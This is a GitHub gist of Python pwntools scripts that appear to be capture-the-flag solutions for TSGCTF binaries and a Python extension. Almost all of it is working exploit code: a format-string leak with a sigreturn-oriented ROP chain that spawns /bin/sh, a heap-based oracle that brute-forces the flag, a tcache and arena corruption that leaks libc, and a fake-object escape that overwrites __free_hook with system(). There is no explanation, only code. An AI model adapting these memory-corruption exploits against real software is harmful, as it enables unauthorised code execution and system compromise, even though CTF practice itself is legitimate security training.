Skip to content

Instantly share code, notes, and snippets.

@moratorium08
Created July 12, 2020 07:36
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save moratorium08/a1daa601b0785981c97b08f777a3da59 to your computer and use it in GitHub Desktop.
Save moratorium08/a1daa601b0785981c97b08f777a3da59 to your computer and use it in GitHub Desktop.
from __future__ import division, print_function
import random
from pwn import *
import argparse
import time
context.log_level = 'error'
parser = argparse.ArgumentParser()
parser.add_argument(
"--host",
default="127.0.0.1",
help="target host"
)
parser.add_argument(
"--port",
default=3001,
help="target port"
)
parser.add_argument(
'--log',
action='store_true'
)
parser.add_argument(
'--is-gaibu',
action='store_true'
)
args = parser.parse_args()
log = args.log
is_gaibu = args.is_gaibu
if is_gaibu:
host = "localhost"
port = 30002
else:
host = args.host
port = args.port
def wait_for_attach():
if not is_gaibu:
print('attach?')
raw_input()
def just_u64(x):
return u64(x.ljust(8, '\x00'))
r = remote(host, port)
def recvuntil(x, verbose=True):
s = r.recvuntil(x)
if log and verbose:
print(s)
return s.strip(x)
def recv(verbose=True):
s = r.recv()
if log and verbose:
print(s)
return s
def recvline(verbose=True):
s = r.recvline()
if log and verbose:
print(s)
return s.strip('\n')
def sendline(s, verbose=True):
if log and verbose:
pass
#print(s)
r.sendline(s)
def send(s, verbose=True):
if log and verbose:
print(s, end='')
r.send(s)
def interactive():
r.interactive()
####################################
def menu(choice):
recvuntil(':')
sendline(str(choice))
# receive and send
def rs(r, s, new_line=True):
recvuntil(r)
if new_line:
sendline(s)
else:
send(s)
got_stack_check_fail = 0x404018
got_scanf = 0x404020
syscall = 0x40118f
ret = 0x401202
scanf = 0x401040
pop_rdi = 0x4012c3
pop_rsi_r15 = 0x4012c1
dummybuf = got_stack_check_fail - 8
binsh = got_scanf + 8
arg15 = got_scanf + 16
scanf_plt_6 = 0x401046
wait_for_attach()
sendline('%s %7$s\x00' + p64(got_stack_check_fail))
rop = [
pop_rsi_r15,
dummybuf,
dummybuf,
pop_rdi,
arg15,
scanf,
syscall,
]
frame = [
'AAAAAAAA' * 5, # uc_flags - ss_size
'AAAAAAAA' * 8, # r8-r15
p64(binsh), # rdi
p64(0), # rsi
p64(0) * 2, # rbp, rbx
p64(0), # rdx
p64(59), # rax
p64(0) * 2, # rcx, rsp
p64(syscall), # rip
p64(0), # eflags
p64(0x33), # csgsfs
'AAAAAAAA' * 4,
p64(0) # &fpstate
]
payload = ''.join(map(p64, rop)) + ''.join(frame)
sendline('A' * 24 + payload)
sendline(p64(ret) + p64(scanf_plt_6) + "/bin/sh\x00" + "%1$dA" * 15)
sendline('A'.join(map(str, range(15))) + 'A')
interactive()
from __future__ import division, print_function
import random
from pwn import *
import argparse
import time
context.log_level = 'error'
parser = argparse.ArgumentParser()
parser.add_argument(
"--host",
default="127.0.0.1",
help="target host"
)
parser.add_argument(
"--port",
default=3001,
help="target port"
)
parser.add_argument(
'--log',
action='store_true'
)
parser.add_argument(
'--is-gaibu',
action='store_true'
)
args = parser.parse_args()
log = args.log
is_gaibu = args.is_gaibu
if is_gaibu:
host = "35.221.81.216"
port = 30001
else:
host = args.host
port = args.port
def wait_for_attach():
if not is_gaibu:
print('attach?')
raw_input()
def just_u64(x):
return u64(x.ljust(8, '\x00'))
def solve(idx, c):
r = remote(host, port)
def recvuntil(x, verbose=True):
s = r.recvuntil(x)
if log and verbose:
print(s)
return s.strip(x)
def recv(verbose=True):
s = r.recv()
if log and verbose:
print(s)
return s
def recvline(verbose=True):
s = r.recvline()
if log and verbose:
print(s)
return s.strip('\n')
def sendline(s, verbose=True):
if log and verbose:
pass
#print(s)
r.sendline(s)
def send(s, verbose=True):
if log and verbose:
print(s, end='')
r.send(s)
def interactive():
r.interactive()
####################################
def menu(choice):
recvuntil('>')
sendline(str(choice))
# receive and send
def rs(r, s, new_line=True):
recvuntil(r)
if new_line:
sendline(s)
else:
send(s)
def alloc(index, size, data):
menu(0)
recvuntil('index >')
sendline(str(index))
recvuntil('size >')
sendline(str(size))
recvuntil('data >')
sendline(data)
def dealloc(index):
menu(1)
recvuntil('index >')
sendline(str(index))
def read(index, idx):
menu(2)
recvuntil('index >')
sendline(str(index))
recvuntil('at >')
sendline(str(idx))
recvuntil('index >')
sendline(str(idx))
size = 0x20
# pad
alloc(0, 0x30, '')
dealloc(0)
for i in range(7):
alloc(0, 10, '')
dealloc(0)
alloc(0, 10, '')
dealloc(0) # for overwrite d3b0
for i in range(7):
alloc(0, size, '')
dealloc(0)
nums = '0123456789'
alphas = 'abcdef'
if c in nums:
alloc(0, size, '\x00'*8 + '\x00' * nums.find(c) + '\x31') # d520
alloc(1, size, '')
elif c in alphas:
alloc(0, size, '')
alloc(1, size, '\x00'*(16 + 9) + '\x00' * alphas.find(c) + '\x31') # d550
else:
print('invalid')
import sys
sys.exit(-1)
dealloc(0)
dealloc(1)
alloc(0, 10, '')
read(0, 0x1a0)
if c in alphas:
alloc(1, size, '\x00'*9 + '\x00' * alphas.find(c) + '\x31') # d550
else:
alloc(0, size, '')
try:
alloc(0, size, '')
except:
r.close()
return False
r.close()
return True
s = 'TSGCTF{'
for i in range(7, 39):
print(i, end=' ')
for c in '0123456789abcdef':
if solve(i, c):
s += c
break
else:
print('fail')
import sys
sys.exit(-1)
s += '}'
print('solved!')
print(s)
from __future__ import division, print_function
import random
from pwn import *
import argparse
import time
context.log_level = 'error'
parser = argparse.ArgumentParser()
parser.add_argument(
"--host",
default="127.0.0.1",
help="target host"
)
parser.add_argument(
"--port",
default=3001,
help="target port"
)
parser.add_argument(
'--log',
action='store_true'
)
parser.add_argument(
'--is-gaibu',
action='store_true'
)
args = parser.parse_args()
log = args.log
is_gaibu = args.is_gaibu
if is_gaibu:
host = "35.221.81.216"
port = 30005
else:
host = args.host
port = args.port
def wait_for_attach():
if not is_gaibu:
print('attach?')
raw_input()
def just_u64(x):
return u64(x.ljust(8, '\x00'))
r = remote(host, port)
def recvuntil(x, verbose=True):
s = r.recvuntil(x)
if log and verbose:
print(s)
return s.strip(x)
def recv(verbose=True):
s = r.recv()
if log and verbose:
print(s)
return s
def recvline(verbose=True):
s = r.recvline()
if log and verbose:
print(s)
return s.strip('\n')
def sendline(s, verbose=True):
if log and verbose:
pass
#print(s)
r.sendline(s)
def send(s, verbose=True):
if log and verbose:
print(s, end='')
r.send(s)
def interactive():
r.interactive()
####################################
def menu(choice):
recvuntil('>')
sendline(str(choice))
# receive and send
def rs(r, s, new_line=True):
recvuntil(r)
if new_line:
sendline(s)
else:
send(s)
def input_id(i):
recvuntil('id > ')
sendline(str(i))
def input_size(size):
recvuntil('size > ')
sendline(str(size))
def allocate(id, size):
menu(0)
input_id(id)
input_size(size)
def extend(id, size):
menu(1)
input_id(id)
input_size(size)
def change_id(id, new_id):
menu(2)
input_id(id)
input_id(new_id)
def show(id):
menu(3)
input_id(id)
recvuntil(': ')
id = recvuntil(' ')
recvuntil('size: ')
size = recvuntil('\n')
return int(id, 16), int(size, 16)
def deallocate(id):
menu(4)
input_id(id)
def write(id, content):
menu(4)
input_id(id)
recvuntil('content: ')
sendline(str(content))
victim = 0x404171 - 0x10
name = '\x00' * 0x19 + p64(victim + 0x10)[:6]
recvuntil('name > ')
sendline(name)
allocate(100, 0x50)
allocate(101, 0x50)
for i in range(9):
allocate(i, 0x50)
for i in range(3, 9):
deallocate(i)
deallocate(1)
deallocate(0)
deallocate(2)
allocate(102, 0x50)
x, y = show(2)
print(hex(y))
heap_base = y - 0x350
N = 1000
for i in range(9):
allocate(N + i, 0x90)
for i in range(3, 9):
deallocate(N + i)
deallocate(N + 1)
deallocate(N + 0)
deallocate(N + 2)
allocate(200, 0xa0)
target = heap_base + 0x7f0
print(hex(target))
_, arena = show(target)
arena_offset = 0x1ebc70
libc_base = arena - arena_offset
print(hex(libc_base))
allocate(201, 0x90)
allocate(202, 0x90)
free_hook_offset = 0x1eeb28
change_id(libc_base + arena_offset, victim)
wait_for_attach()
extend(100, 0x90)
menu(5)
interactive()
def p64(n):
result = []
for i in range(0, 64, 8): result.append((n>>i)&0xff)
return bytes(result)
def u64(n):
res = 0
for x in n[::-1]: res = (res<<8) | x
return res
gue = (p64(0x41414141) + p64(id(bytearray)) + p64(0x7fffffffffffffff) +
p64(0) * 4 + b'ABCDEFGH' * 100)
guo = (p64(0x41414141) + p64(id(bytearray)) + p64(0x7fffffffffffffff) +
p64(0) * 4 + b'ABCDEFGH' * 105)
ptr = id(gue)
gue = 1
for i in range(300000):
if i * i < -1:
print(i)
print(ptr)
fake = bytearray(guo)
for i in range(300000):
if i * i < -1:
print(i)
print('ptr:', hex(ptr))
fake_addr = id(fake) + 0x20
print('fake addr: ', hex(fake_addr))
fake_object = ptr
print('fake object: ', hex(fake_object))
type_addr = id(stdvec.StdVec)
lib_stdbse = type_addr - 0x202140
print('lib std bse: ', hex(type_addr))
free_got = 0xa00520
free_offset = 0x979c0
free_hook_offset = 0x3ed8e8
sstem_offset = 0x4f4e0
l = stdvec.StdVec()
for i in range(256):
l.append(0xdeadbeef)
n = 0
TARGET = 6
for i in l:
n += 1
print("ok")
if n < TARGET:
pass
elif n == TARGET:
l.append(2)
elif n == TARGET + 1:
b = bytearray(
p64(0xdeadbeef) +
p64(0x414114141) +
p64(fake_object) * (256 - 2 - 6))
else:
a = u64(i[free_got:free_got+8])
libc_bse = a - free_offset
print(hex(libc_bse))
free_hook = libc_bse + free_hook_offset
i[free_hook:free_hook+8] = p64(sstem_offset + libc_bse)
print(i[free_hook:free_hook+8])
bytearray(b"/bin/sh\x00" * 400)
a = 1
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment